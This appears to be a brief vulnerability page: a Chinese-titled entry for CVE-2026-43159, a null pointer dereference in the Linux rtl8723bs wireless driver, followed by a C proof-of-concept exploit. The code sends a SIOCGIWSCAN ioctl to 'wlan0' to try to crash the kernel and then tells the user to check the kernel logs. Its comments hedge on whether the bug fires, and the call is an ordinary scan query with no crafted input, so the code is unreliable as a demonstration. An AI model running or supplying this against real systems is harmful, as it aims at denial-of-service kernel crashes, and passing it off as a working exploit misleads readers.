CVE-2026-43159 Linux内核空指针解引用漏洞

/* * PoC for CVE-2026-43159: Null pointer dereference in rtl8723bs * Triggering the vulnerability in find_network via local interaction. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/wireless.h> #include <sys/ioctl.h> int main() { int sock; struct iwreq wrq; // Create a socket for wireless operations sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket creation failed"); return 1; } memset(&wrq, 0, sizeof(wrq)); // Target the interface using the vulnerable driver (e.g., wlan0) strncpy(wrq.ifr_name, "wlan0", IFNAMSIZ); // Attempt to trigger the scan logic which calls find_network // This may lead to the NULL pointer dereference if conditions are met if (ioctl(sock, SIOCGIWSCAN, &wrq) < 0) { // Depending on system state, this might trigger the bug or fail normally perror("ioctl failed"); } close(sock); printf("Exploit attempt finished. Check kernel logs for crashes.\n"); return 0; }